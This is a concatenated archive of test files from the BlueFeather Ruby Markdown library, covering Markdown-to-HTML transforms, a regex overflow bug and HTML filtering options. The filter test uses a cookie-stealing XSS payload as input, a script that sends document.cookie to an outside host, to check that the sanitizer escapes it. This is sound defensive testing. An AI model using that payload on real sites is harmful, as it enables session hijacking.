bluefeather-0.41/0000755000004100000410000000000012122140072013743 5ustar www-datawww-databluefeather-0.41/original-tests/0000755000004100000410000000000012122140072016707 5ustar www-datawww-databluefeather-0.41/original-tests/05_Markdown.tests.rb0000644000004100000410000007751612122140072022503 0ustar www-datawww-data#!/usr/bin/ruby # # Test case for BlueFeather Markdown transforms. # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ # # Copyright (c) 2004 The FaerieMUD Consortium, 2009 Dice. # # Changes: [2009-02-14] adapt to BlueFeather if !defined?( BlueFeather ) || !defined?( BlueFeather::TestCase ) require 'pathname' $LOAD_PATH << Pathname.new(__FILE__).dirname.expand_path.to_s require 'bftestcase' end ### This test case tests ... class SubfunctionsTestCase < BlueFeather::TestCase ### Test email address output Emails = %w[ address@example.com foo-list-admin@bar.com fu@bar.COM baz@ruby-lang.org foo-tim-bazzle@bar-hop.co.uk littlestar@twinkle.twinkle.band.CO.ZA ll@lll.lllll.ll Ull@Ulll.Ulllll.ll UUUU1@UU1.UU1UUU.UU l@ll.ll Ull.Ullll@llll.ll Ulll-Ull.Ulllll@ll.ll 1@111.ll ] # I can't see a way to handle IDNs clearly yet, so these will have to wait. # info@ko.de # jemand@bro.de # irgendwo-interreant@dgta.se #] def test_10_email_address printTestHeader "BlueFeather: Inline email address" rval = match = nil Emails.each {|addr| assert_nothing_raised { rval = BlueFeather.parse( "<#{addr}>" ) } match = %r{

[^<]+

}.match( rval ) assert_not_nil match, "Match against output #{rval}" assert_equal "mailto:#{addr}", decode( match[1] ) } end def decode( str ) str.gsub( /&#(x[a-f0-9]+|\d{3});/i ) {|match| code = $1 debugMsg "Decoding %p" % code case code when /^x([a-f0-9]+)/i debugMsg " (hex) = %p" % $1.to_i(16).chr $1.to_i(16).chr when /\d{3}/ debugMsg " (oct) = %p" % code.to_i.chr code.to_i.chr else raise "Hmmm... malformed entity %p" % code end } end ################################################################# ### A U T O - G E N E R A T E D T E S T S ################################################################# # Parse the data section into a hash of test specifications TestSets = {} begin seenEnd = false inMetaSection = true inInputSection = true section, description, input, output = '', '', '', '' linenum = 0 # Read this file, skipping lines until the __END__ token. Then start # reading the tests. File::foreach( __FILE__ ) {|line| linenum += 1 if /^__END__/ =~ line then seenEnd = true; next end debugMsg "#{linenum}: #{line.chomp}" next unless seenEnd # Start off in the meta section, which has sections and # descriptions. if inMetaSection case line # Left angles switch into data section for the current section # and description. when /^<< linenum, :sets => [], } end # Data section has input and expected output parts else case line # Right angles terminate a data section, at which point we # should have enough data to add a test. when /^>>>/ TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ] inMetaSection = true inInputSection = true input = ''; output = '' # 3-Dashed divider with text divides input from output when /^--- (.+)/ inInputSection = false # Anything else adds to either input or output else if inInputSection input += line else output += line end end end } end debugMsg "Test sets: %p" % TestSets # Auto-generate tests out of the test specifications TestSets.each {|sname, section| # Generate a test method for each section section.each do |desc, test| methname = "test_%03d_%s" % [ test[:line], desc.gsub(/\W+/, '_').downcase ] # Header code = %{ def #{methname} printTestHeader "BlueFeather: #{desc}" rval = nil } # An assertion for each input/output pair test[:sets].each {|input, output| code << %{ assert_nothing_raised { parser = BlueFeather::Parser.new parser.use_header_id = false parser.display_warnings = false rval = parser.parse(%p) } assert_equal %p, rval } % [ input, output ] } code << %{ end } debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code] eval code end } end __END__ ### [Paragraphs and Line Breaks] # Paragraphs <<< This is some stuff that should all be put in one paragraph even though it occurs over several lines. And this is a another one. --- Should become:

This is some stuff that should all be put in one paragraph even though it occurs over several lines.

And this is a another one.

>>> # Line breaks <<< Mostly the same kind of thing with two spaces at the end of each line should result in line breaks, though. And this is a another one. --- Should become:

Mostly the same kind of thing
with two spaces at the end
of each line
should result in
line breaks, though.

And this is a another
one.

>>> # Escaping special characters <<< The left shift operator, which is written as <<, is often used & greatly admired. --- Should become:

The left shift operator, which is written as <<, is often used & greatly admired.

>>> # Preservation of named entities <<< The left shift operator, which is written as <<, is often used & greatly admired. --- Should become:

The left shift operator, which is written as <<, is often used & greatly admired.

>>> # Preservation of decimal-encoded entities <<< The left shift operator, which is written as <<, is often used & greatly admired. --- Should become:

The left shift operator, which is written as <<, is often used & greatly admired.

>>> # Preservation of hex-encoded entities <<< The left shift operator, which is written as <<, is often used & greatly admired. --- Should become:

The left shift operator, which is written as <<, is often used & greatly admired.

>>> # Inline HTML - table tags <<< This is a regular paragraph.
Foo
This is another regular paragraph. --- Should become:

This is a regular paragraph.

Foo

This is another regular paragraph.

>>> # Inline HTML - div tags <<< This is a regular paragraph.
Something
Something else. --- Should become:

This is a regular paragraph.

Something

Something else.

>>> # Inline HTML - Plain HR <<< This is a regular paragraph.
Something else. --- Should become:

This is a regular paragraph.


Something else.

>>> # Inline HTML - Fancy HR <<< This is a regular paragraph.
Something else. --- Should become:

This is a regular paragraph.


Something else.

>>> # Inline HTML - Iframe <<< This is a regular paragraph. Something else. --- Should become:

This is a regular paragraph.

Something else.

>>> # Inline HTML - mathml <<< Examples -------- Now that we have met some of the key players, it is time to see what we can do. Here are some examples and comments which illustrate the use of the basic layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic MathML presentation encoding for this would be: x 2 + 4 x + 4 = 0 This encoding will display as you would expect. However, if we were interested in reusing this expression in unknown situations, we would likely want to spend a little more effort analyzing and encoding the logical expression structure. --- Should become:

Examples

Now that we have met some of the key players, it is time to see what we can do. Here are some examples and comments which illustrate the use of the basic layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic MathML presentation encoding for this would be:

x 2 + 4 x + 4 = 0

This encoding will display as you would expect. However, if we were interested in reusing this expression in unknown situations, we would likely want to spend a little more effort analyzing and encoding the logical expression structure.

>>> # Span-level HTML <<< This is some stuff with a spanned bit of text in it. And this *should* be a bit of deleted text which should be preserved, and part of it emphasized. --- Should become:

This is some stuff with a spanned bit of text in it. And this should be a bit of deleted text which should be preserved, and part of it emphasized.

>>> # Inline HTML (Case-sensitivity) <<< This is a regular paragraph.
Foo
This is another regular paragraph. --- Should become:

This is a regular paragraph.

Foo

This is another regular paragraph.

>>> # Span-level HTML (Case-sensitivity) <<< This is some stuff with a spanned bit of text in it. And this *should* be a bit of deleted text which should be preserved, and part of it emphasized. --- Should become:

This is some stuff with a spanned bit of text in it. And this should be a bit of deleted text which should be preserved, and part of it emphasized.

>>> ### [Code spans] # Single backtick <<< Making `code` work for you --- Should become:

Making code work for you

>>> # Literal backtick with doubling <<< Making `` `code` `` work for you --- Should become:

Making `code` work for you

>>> # Many repetitions <<< Making `````code````` work for you --- Should become:

Making code work for you

>>> # Two in a row <<< This `thing` should be `two` spans. --- Should become:

This thing should be two spans.

>>> # At the beginning of a newline <<< I should think that the `tar` command would be universal. --- Should become:

I should think that the tar command would be universal.

>>> # Entity escaping <<< The left angle-bracket (`<`) can also be written as a decimal-encoded (`<`) or hex-encoded (`<`) entity. --- Should become:

The left angle-bracket (&lt;) can also be written as a decimal-encoded (&#060;) or hex-encoded (&#x3c;) entity.

>>> # At the beginning of a document (Bug #525) <<< `world` views --- Should become:

world views

>>> ### [Code blocks] # Para plus code block (literal tab) <<< This is a chunk of code: some.code > some.other_code Some stuff. --- Should become:

This is a chunk of code:

some.code > some.other_code

Some stuff.

>>> # Para plus code block (literal tab, no colon) <<< This is a chunk of code some.code > some.other_code Some stuff. --- Should become:

This is a chunk of code

some.code > some.other_code

Some stuff.

>>> # Para plus code block (tab-width spaces) <<< This is a chunk of code: some.code > some.other_code Some stuff. --- Should become:

This is a chunk of code:

some.code > some.other_code

Some stuff.

>>> # Para plus code block (tab-width spaces, no colon) <<< This is a chunk of code some.code > some.other_code Some stuff. --- Should become:

This is a chunk of code

some.code > some.other_code

Some stuff.

>>> # Colon with preceeding space <<< A regular paragraph, without a colon. : This is a code block. Some stuff. --- Should become:

A regular paragraph, without a colon. :

This is a code block.

Some stuff.

>>> # Single colon <<< : some.code > some.other_code Some stuff. --- Should become:

:

some.code > some.other_code

Some stuff.

>>> # Preserve leading whitespace (Bug #541) <<< Examples: # (Waste character because first line is flush left !!!) # Example script1 x = 1 x += 1 puts x Some stuff. --- Should become:

Examples:

      # (Waste character because first line is flush left !!!)
      # Example script1
      x = 1
      x += 1
      puts x

Some stuff.

>>> ### [Horizontal Rules] # Hrule 1 <<< * * * --- Should become:
>>> # Hrule 2 <<< *** --- Should become:
>>> # Hrule 3 <<< ***** --- Should become:
>>> # Hrule 4 <<< - - - --- Should become:
>>> # Hrule 5 <<< --------------------------------------- --- Should become:
>>> ### [Titles] # setext-style h1 <<< Title Text = --- Should become:

Title Text

>>> <<< Title Text === --- Should become:

Title Text

>>> <<< Title Text ========== --- Should become:

Title Text

>>> # setext-style h2 <<< Title Text - --- Should become:

Title Text

>>> <<< Title Text --- --- Should become:

Title Text

>>> <<< Title Text ---------- --- Should become:

Title Text

>>> # ATX-style h1 <<< # Title Text --- Should become:

Title Text

>>> <<< # Title Text # --- Should become:

Title Text

>>> <<< # Title Text ### --- Should become:

Title Text

>>> <<< # Title Text ##### --- Should become:

Title Text

>>> # ATX-style h2 <<< ## Title Text --- Should become:

Title Text

>>> <<< ## Title Text # --- Should become:

Title Text

>>> <<< ## Title Text ### --- Should become:

Title Text

>>> <<< ## Title Text ##### --- Should become:

Title Text

>>> # ATX-style h3 <<< ### Title Text --- Should become:

Title Text

>>> <<< ### Title Text # --- Should become:

Title Text

>>> <<< ### Title Text ### --- Should become:

Title Text

>>> <<< ### Title Text ##### --- Should become:

Title Text

>>> # ATX-style h4 <<< #### Title Text --- Should become:

Title Text

>>> <<< #### Title Text # --- Should become:

Title Text

>>> <<< #### Title Text ### --- Should become:

Title Text

>>> <<< #### Title Text ##### --- Should become:

Title Text

>>> # ATX-style h5 <<< ##### Title Text --- Should become:
Title Text
>>> <<< ##### Title Text # --- Should become:
Title Text
>>> <<< ##### Title Text ### --- Should become:
Title Text
>>> <<< ##### Title Text ##### --- Should become:
Title Text
>>> # ATX-style h6 <<< ###### Title Text --- Should become:
Title Text
>>> <<< ###### Title Text # --- Should become:
Title Text
>>> <<< ###### Title Text ### --- Should become:
Title Text
>>> <<< ###### Title Text ##### --- Should become:
Title Text
>>> ### [Blockquotes] # Regular 1-level blockquotes <<< > Email-style angle brackets > are used for blockquotes. --- Should become:

Email-style angle brackets are used for blockquotes.

>>> # Doubled blockquotes <<< > > And, they can be nested. --- Should become:

And, they can be nested.

>>> # Nested blockquotes <<< > Email-style angle brackets > are used for blockquotes. > > And, they can be nested. --- Should become:

Email-style angle brackets are used for blockquotes.

And, they can be nested.

>>> # Lazy blockquotes <<< > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. --- Should become:

This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.

>>> # Blockquotes containing other markdown elements <<< > ## This is a header. > > 1. This is the first list item. > 2. This is the second list item. > > Here's some example code: > > return shell_exec("echo $input | $markdown_script"); --- Should become:

This is a header.

  1. This is the first list item.
  2. This is the second list item.

Here's some example code:

return shell_exec("echo $input | $markdown_script");
>>> # Blockquotes with a
 section
<<<
> The best approximation of the problem is the following code:
>
> 
> foo + bar; foo.factorize; foo.display
> 
> > This should result in an error on any little-endian platform. --- Should become:

The best approximation of the problem is the following code:

foo + bar; foo.factorize; foo.display

This should result in an error on any little-endian platform.

>>> ### [Images] # Inline image with title <<< ![alt text](/path/img.jpg "Title") --- Should become:

alt text

>>> # Inline image with title (single-quotes) <<< ![alt text](/path/img.jpg 'Title') --- Should become:

alt text

>>> # Inline image with title (with embedded quotes) <<< ![alt text](/path/img.jpg 'The "Title" Image') --- Should become:

alt text

>>> # Inline image without title <<< ![alt text](/path/img.jpg) --- Should become:

alt text

>>> # Inline image with quoted alt text <<< ![the "alt text"](/path/img.jpg) --- Should become:

the "alt text"

>>> # Reference image <<< ![alt text][id] [id]: /url/to/img.jpg "Title" --- Should become:

alt text

>>> ### [Emphasis] # Emphasis () with asterisks <<< Use *single splats* for emphasis. --- Should become:

Use single splats for emphasis.

>>> # Emphasis () with underscores <<< Use *underscores* for emphasis. --- Should become:

Use underscores for emphasis.

>>> # Strong emphasis () with asterisks <<< Use **double splats** for more emphasis. --- Should become:

Use double splats for more emphasis.

>>> # Strong emphasis () with underscores <<< Use __doubled underscores__ for more emphasis. --- Should become:

Use doubled underscores for more emphasis.

>>> # Combined emphasis types 1 <<< Use *single splats* or _single unders_ for normal emphasis. --- Should become:

Use single splats or single unders for normal emphasis.

>>> # Combined emphasis types 2 <<< Use _single unders_ for normal emphasis or __double them__ for strong emphasis. --- Should become:

Use single unders for normal emphasis or double them for strong emphasis.

>>> # Emphasis containing escaped metachars <<< You can include literal *\*splats\** by escaping them. --- Should become:

You can include literal *splats* by escaping them.

>>> # Two instances of asterisked emphasis on one line <<< If there's *two* splatted parts on a *single line* it should still work. --- Should become:

If there's two splatted parts on a single line it should still work.

>>> # Two instances of double asterisked emphasis on one line <<< This **doubled** one should **work too**. --- Should become:

This doubled one should work too.

>>> # Two instances of underscore emphasis on one line <<< If there's _two_ underbarred parts on a _single line_ it should still work. --- Should become:

If there's two underbarred parts on a single line it should still work.

>>> # Two instances of doubled underscore emphasis on one line <<< This __doubled__ one should __work too__. --- Should become:

This doubled one should work too.

>>> # Initial emphasis (asterisk) <<< *Something* like this should be bold. --- Should become:

Something like this should be bold.

>>> # Initial emphasis (underscore) <<< _Something_ like this should be bold. --- Should become:

Something like this should be bold.

>>> # Initial strong emphasis (asterisk) <<< **Something** like this should be bold. --- Should become:

Something like this should be bold.

>>> # Initial strong emphasis (underscore) <<< __Something__ like this should be bold. --- Should become:

Something like this should be bold.

>>> # Partial-word emphasis (Bug #568) <<< **E**xtended **TURN** --- Should become:

Extended TURN

>>> ### [Links] # Inline link, no title <<< An [example](http://url.com/). --- Should become:

An example.

>>> # Inline link with title <<< An [example](http://url.com/ "Check out url.com!"). --- Should become:

An example.

>>> # Reference-style link, no title <<< An [example][ex] reference-style link. [ex]: http://www.bluefi.com/ --- Should become:

An example reference-style link.

>>> # Reference-style link with quoted title <<< An [example][ex] reference-style link. [ex]: http://www.bluefi.com/ "Check out our air." --- Should become:

An example reference-style link.

>>> # Reference-style link with paren title <<< An [example][ex] reference-style link. [ex]: http://www.bluefi.com/ (Check out our air.) --- Should become:

An example reference-style link.

>>> # Reference-style link with one of each (hehe) <<< An [example][ex] reference-style link. [ex]: http://www.bluefi.com/ "Check out our air.) --- Should become:

An example reference-style link.

>>> " <- For syntax highlighting # Reference-style link with intervening space <<< You can split the [linked part] [ex] from the reference part with a single space. [ex]: http://www.treefrog.com/ "for some reason" --- Should become:

You can split the linked part from the reference part with a single space.

>>> # Reference-style link with intervening space <<< You can split the [linked part] [ex] from the reference part with a newline in case your editor wraps it there, I guess. [ex]: http://www.treefrog.com/ --- Should become:

You can split the linked part from the reference part with a newline in case your editor wraps it there, I guess.

>>> # Reference-style anchors <<< I get 10 times more traffic from [Google] [1] than from [Yahoo] [2] or [MSN] [3]. [1]: http://google.com/ "Google" [2]: http://search.yahoo.com/ "Yahoo Search" [3]: http://search.msn.com/ "MSN Search" --- Should become:

I get 10 times more traffic from Google than from Yahoo or MSN.

>>> # Implicit name-link shortcut anchors <<< I get 10 times more traffic from [Google][] than from [Yahoo][] or [MSN][]. [google]: http://google.com/ "Google" [yahoo]: http://search.yahoo.com/ "Yahoo Search" [msn]: http://search.msn.com/ "MSN Search" --- Should become:

I get 10 times more traffic from Google than from Yahoo or MSN.

>>> # Inline anchors <<< I get 10 times more traffic from [Google](http://google.com/ "Google") than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or [MSN](http://search.msn.com/ "MSN Search"). --- Should become:

I get 10 times more traffic from Google than from Yahoo or MSN.

>>> # Graceful fail for unclosed brackets (and bug #524) <<< This is just a [bracket opener; it should fail gracefully. --- Should become:

This is just a [bracket opener; it should fail gracefully.

>>> # Unresolved reference-style links (Bug #620) <<< This is an unresolved [url][1]. --- Should become:

This is an unresolved [url][1].

>>> ### [Auto-links] # Plain HTTP link <<< This is a reference to . You should follow it. --- Should become:

This is a reference to http://www.FaerieMUD.org/. You should follow it.

>>> # FTP link <<< Why not download your very own chandelier from ? --- Should become:

Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?

>>> ### [Lists] # Unordered list <<< * Red * Green * Blue --- Should become:
  • Red
  • Green
  • Blue
>>> # Unordered list w/alt bullets <<< - Red - Green - Blue --- Should become:
  • Red
  • Green
  • Blue
>>> # Unordered list w/alt bullets 2 <<< + Red + Green + Blue --- Should become:
  • Red
  • Green
  • Blue
>>> # Unordered list w/mixed bullets <<< + Red - Green * Blue --- Should become:
  • Red
  • Green
  • Blue
>>> # Ordered list <<< 1. Bird 2. McHale 3. Parish --- Should become:
  1. Bird
  2. McHale
  3. Parish
>>> # Ordered list, any numbers <<< 1. Bird 1. McHale 1. Parish --- Should become:
  1. Bird
  2. McHale
  3. Parish
>>> # Ordered list, any numbers 2 <<< 3. Bird 1. McHale 8. Parish --- Should become:
  1. Bird
  2. McHale
  3. Parish
>>> # Hanging indents <<< * Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. * Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. --- Should become:
  • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
  • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
>>> # Lazy indents <<< * Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. * Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. --- Should become:
  • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
  • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
>>> # Paragraph wrapped list items <<< * Bird * Magic --- Should become:
  • Bird

  • Magic

>>> # Multi-paragraph list items <<< 1. This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. Donec sit amet nisl. Aliquam semper ipsum sit amet velit. 2. Suspendisse id sem consectetuer libero luctus adipiscing. --- Should become:
  1. This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.

    Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. Donec sit amet nisl. Aliquam semper ipsum sit amet velit.

  2. Suspendisse id sem consectetuer libero luctus adipiscing.

>>> # Lazy multi-paragraphs <<< * This is a list item with two paragraphs. This is the second paragraph in the list item. You're only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. * Another item in the same list. --- Should become:
  • This is a list item with two paragraphs.

    This is the second paragraph in the list item. You're only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.

  • Another item in the same list.

>>> # Blockquote in list item <<< * A list item with a blockquote: > This is a blockquote > inside a list item. --- Should become:
  • A list item with a blockquote:

    This is a blockquote inside a list item.

>>> # Code block in list item <<< * A list item with a code block: --- Should become:
  • A list item with a code block:

    <code goes here>
    
>>> # Backslash-escaped number-period-space <<< 1986\. What a great season. --- Should become:

1986. What a great season.

>>> bluefeather-0.41/original-tests/10_Bug.tests.rb0000644000004100000410000000206412122140072021414 0ustar www-datawww-data#!/usr/bin/ruby # # Unit test for bugs found in BlueFeather # $Id: 10_Bug.tests.rb 68 2004-08-25 05:14:37Z ged $ # # Copyright (c) 2004 The FaerieMUD Consortium, 2009 Dice. # # Changes: [2009-02-14] adapt to BlueFeather if !defined?( BlueFeather ) || !defined?( BlueFeather::TestCase ) require 'pathname' $LOAD_PATH << Pathname.new(__FILE__).dirname.expand_path.to_s require 'bftestcase' end require 'timeout' ### This test case tests ... class BugsTestCase < BlueFeather::TestCase BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) ) ### :TODO: Add more documents and test their transforms. def test_10_regexp_engine_overflow_bug contents = File::read( File::join(BaseDir,"original-tests/data/re-overflow.txt") ) assert_nothing_raised { BlueFeather.parse( contents ) } end def test_15_regexp_engine_overflow_bug2 contents = File::read( File::join(BaseDir,"original-tests/data/re-overflow2.txt") ) assert_nothing_raised { BlueFeather.parse( contents ) } end end __END__ bluefeather-0.41/original-tests/15_Contrib.tests.rb0000644000004100000410000000702412122140072022305 0ustar www-datawww-data#!/usr/bin/ruby # # Unit test for contributed features # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ # # Copyright (c) 2004 The FaerieMUD Consortium. # # Copyright (c) 2004 The FaerieMUD Consortium, 2009 Dice. # # Changes: [2009-02-14] adapt to BlueFeather if !defined?( BlueFeather ) || !defined?( BlueFeather::TestCase ) require 'pathname' $LOAD_PATH << Pathname.new(__FILE__).dirname.expand_path.to_s require 'bftestcase' end ### This test case tests ... class ContribTestCase < BlueFeather::TestCase DangerousHtml = "" DangerousHtmlOutput = "

<script>document.location='http://www.hacktehplanet.com" + "/cgi-bin/cookie.cgi?' + document.cookie</script>

" DangerousStylesOutput = "" NoLessThanHtml = "Foo is definitely > than bar" NoLessThanOutput = "

Foo is definitely > than bar

" ### HTML filter options contributed by Florian Gross. ### Test the :filter_html restriction def test_10_filter_html printTestHeader "filter_html Option" rval = bf = nil # Test as a 1st-level param assert_nothing_raised { bf = BlueFeather::Parser.new(:filter_html) } # Accessors assert_nothing_raised { rval = bf.filter_html } assert_equal true, rval assert_nothing_raised { rval = bf.filter_styles } assert_equal nil, rval # Test rendering with filters on assert_nothing_raised { rval = bf.parse(DangerousHtml) } assert_equal DangerousHtmlOutput, rval # Test setting it in a sub-array assert_nothing_raised { bf = BlueFeather::Parser.new( [:filter_html] ) } # Accessors assert_nothing_raised { rval = bf.filter_html } assert_equal true, rval assert_nothing_raised { rval = bf.filter_styles } assert_equal nil, rval # Test rendering with filters on assert_nothing_raised { rval = bf.parse(DangerousHtml) } assert_equal DangerousHtmlOutput, rval end ### Test the :filter_styles restriction def test_20_filter_styles printTestHeader "filter_styles Option" rval = bf = nil # Test as a 1st-level param assert_nothing_raised { bf = BlueFeather::Parser.new(:filter_styles ) } # Accessors assert_nothing_raised { rval = bf.filter_styles } assert_equal true, rval assert_nothing_raised { rval = bf.filter_html } assert_equal nil, rval # Test rendering with filters on assert_nothing_raised { rval = bf.parse(DangerousHtml) } assert_equal DangerousStylesOutput, rval # Test setting it in a subarray assert_nothing_raised { bf = BlueFeather::Parser.new([:filter_styles] ) } # Accessors assert_nothing_raised { rval = bf.filter_styles } assert_equal true, rval assert_nothing_raised { rval = bf.filter_html } assert_equal nil, rval # Test rendering with filters on assert_nothing_raised { rval = bf.parse(DangerousHtml) } assert_equal DangerousStylesOutput, rval end ### Test to be sure filtering when there's no opening angle brackets doesn't ### die. def test_30_filter_no_less_than printTestHeader "filter without a less-than" rval = bf = nil # Test as a 1st-level param assert_nothing_raised { bf = BlueFeather::Parser.new( :filter_html ) } assert_nothing_raised { rval = bf.parse(NoLessThanHtml) } assert_equal NoLessThanOutput, rval end end bluefeather-0.41/original-tests/bftestcase.rb0000644000004100000410000001645012122140072021365 0ustar www-datawww-data#!/usr/bin/ruby # # This is an abstract test case class for building Test::Unit unit tests for the # BlueFeather module. It consolidates most of the maintenance work that must be # done to build a test file by adjusting the $LOAD_PATH appropriately, as well # as adding some other useful methods that make building, maintaining, and using # the tests for programming much easier (IMHO). See the docs for Test::Unit for # more info on the particulars of unit testing. # # == Synopsis # # # Allow the test to be run from anywhere: # if !defined?( BlueFeather ) || !defined?( BlueFeather::TestCase ) # basedir = File::dirname( __FILE__ ) # require File::join( basedir, 'bftestcase' ) # end # # class MySomethingTest < BlueFeather::TestCase # def setup # super() # @foo = 'bar' # end # # def test_00_something # obj = nil # assert_nothing_raised { obj = MySomething::new } # assert_instance_of MySomething, obj # assert_respond_to :myMethod, obj # end # # end # # == Rcsid # # $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $ # # == Authors of original BlueFeather # # * Michael Granger # # == Remakers # # * Dice (BlueCloth => BlueFeather) # #:include: COPYRIGHT # #--- # # Please see the file COPYRIGHT in the 'docs' directory for licensing details. # $DebugPattern ||= nil begin basedir = File::dirname( File::dirname(__FILE__) ) unless $LOAD_PATH.include?( "#{basedir}/lib" ) $LOAD_PATH.unshift "#{basedir}/lib" end end require "test/unit" require "bluefeather" module BlueFeather ### The abstract base class for BlueFeather test cases. class TestCase < Test::Unit::TestCase @methodCounter = 0 @setupBlocks = [] @teardownBlocks = [] class << self attr_accessor :methodCounter, :setupBlocks, :teardownBlocks end ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars ### and accessors to the inheriting class. def self::inherited( klass ) klass.module_eval { @setupBlocks = [] @teardownBlocks = [] class << self attr_accessor :setupBlocks, :teardownBlocks end } klass.methodCounter = 0 super end ### Output the specified msgs joined together to ### STDERR if $DEBUG is set. def self::debugMsg( *msgs ) return unless $DEBUG self.message "DEBUG>>> %s" % msgs.join('') end ### Output the specified msgs joined together to ### STDOUT. def self::message( *msgs ) $stderr.puts msgs.join('') $stderr.flush end ### Add a setup block for the current testcase def self::addSetupBlock( &block ) self.methodCounter += 1 newMethodName = "setup_#{self.methodCounter}".intern define_method( newMethodName, &block ) self.setupBlocks.push newMethodName end ### Add a teardown block for the current testcase def self::addTeardownBlock( &block ) self.methodCounter += 1 newMethodName = "teardown_#{self.methodCounter}".intern define_method( newMethodName, &block ) self.teardownBlocks.unshift newMethodName end ############################################################# ### I N S T A N C E M E T H O D S ############################################################# ### A dummy test method to allow this Test::Unit::TestCase to be ### subclassed without complaining about the lack of tests. def test_0_dummy end ### Forward-compatibility method for namechange in Test::Unit def setup( *args ) self.class.setupBlocks.each {|sblock| debugMsg "Calling setup block method #{sblock}" self.send( sblock ) } super( *args ) end alias_method :set_up, :setup ### Forward-compatibility method for namechange in Test::Unit def teardown( *args ) super( *args ) self.class.teardownBlocks.each {|tblock| debugMsg "Calling teardown block method #{tblock}" self.send( tblock ) } end alias_method :tear_down, :teardown ### Skip the current step (called from #setup) with the +reason+ given. def skip( reason=nil ) if reason msg = "Skipping %s: %s" % [ @method_name, reason ] else msg = "Skipping %s: No reason given." % @method_name end $stderr.puts( msg ) if $VERBOSE @method_name = :skipped_test end def skipped_test # :nodoc: end ### Add the specified +block+ to the code that gets executed by #setup. def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end ### Add the specified +block+ to the code that gets executed by #teardown. def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end ### Instance alias for the like-named class method. def message( *msgs ) self.class.message( *msgs ) end ### Instance alias for the like-named class method def debugMsg( *msgs ) self.class.debugMsg( *msgs ) end ### Output a separator line made up of length of the specified ### char. def writeLine( length=75, char="-" ) $stderr.puts "\r" + (char * length ) end ### Output a header for delimiting tests def printTestHeader( desc ) return unless $VERBOSE || $DEBUG message ">>> %s <<<" % desc end ### Try to force garbage collection to start. def collectGarbage a = [] 1000.times { a << {} } a = nil GC.start end ### Output the name of the test as it's running if in verbose mode. def run( result ) $stderr.puts self.name if $VERBOSE || $DEBUG # Support debugging for individual tests olddb = nil if $DebugPattern && $DebugPattern =~ @method_name olddb = $DEBUG $DEBUG = true end super $DEBUG = olddb unless olddb.nil? end ############################################################# ### E X T R A A S S E R T I O N S ############################################################# ### Negative of assert_respond_to def assert_not_respond_to( obj, meth ) msg = "%s expected NOT to respond to '%s'" % [ obj.inspect, meth ] assert_block( msg ) { !obj.respond_to?( meth ) } end ### Assert that the instance variable specified by +sym+ of an +object+ ### is equal to the specified +value+. The '@' at the beginning of the ### +sym+ will be prepended if not present. def assert_ivar_equal( value, object, sym ) sym = "@#{sym}".intern unless /^@/ =~ sym.to_s msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" % [ sym, object.inspect, value.inspect ] msg += "\tbut was: <%s>" % object.instance_variable_get(sym) assert_block( msg ) { value == object.instance_variable_get(sym) } end ### Assert that the specified +object+ has an instance variable which ### matches the specified +sym+. The '@' at the beginning of the +sym+ ### will be prepended if not present. def assert_has_ivar( sym, object ) sym = "@#{sym}" unless /^@/ =~ sym.to_s msg = "Object <%s> expected to have an instance variable <%s>" % [ object.inspect, sym ] assert_block( msg ) { object.instance_variables.include?( sym.to_s ) } end end # class TestCase end # class BlueFeather bluefeather-0.41/original-tests/data/0000755000004100000410000000000012122140072017620 5ustar www-datawww-databluefeather-0.41/original-tests/data/antsugar.txt0000644000004100000410000000234312122140072022207 0ustar www-datawww-dataThe Ant-Sugar Tales =================== By Candice Yellowflower The _Ant-Sugar Tales_ is a collection of short stories told from the perspective of a fine young lady from [Venice][1], who has some run-ins with a few 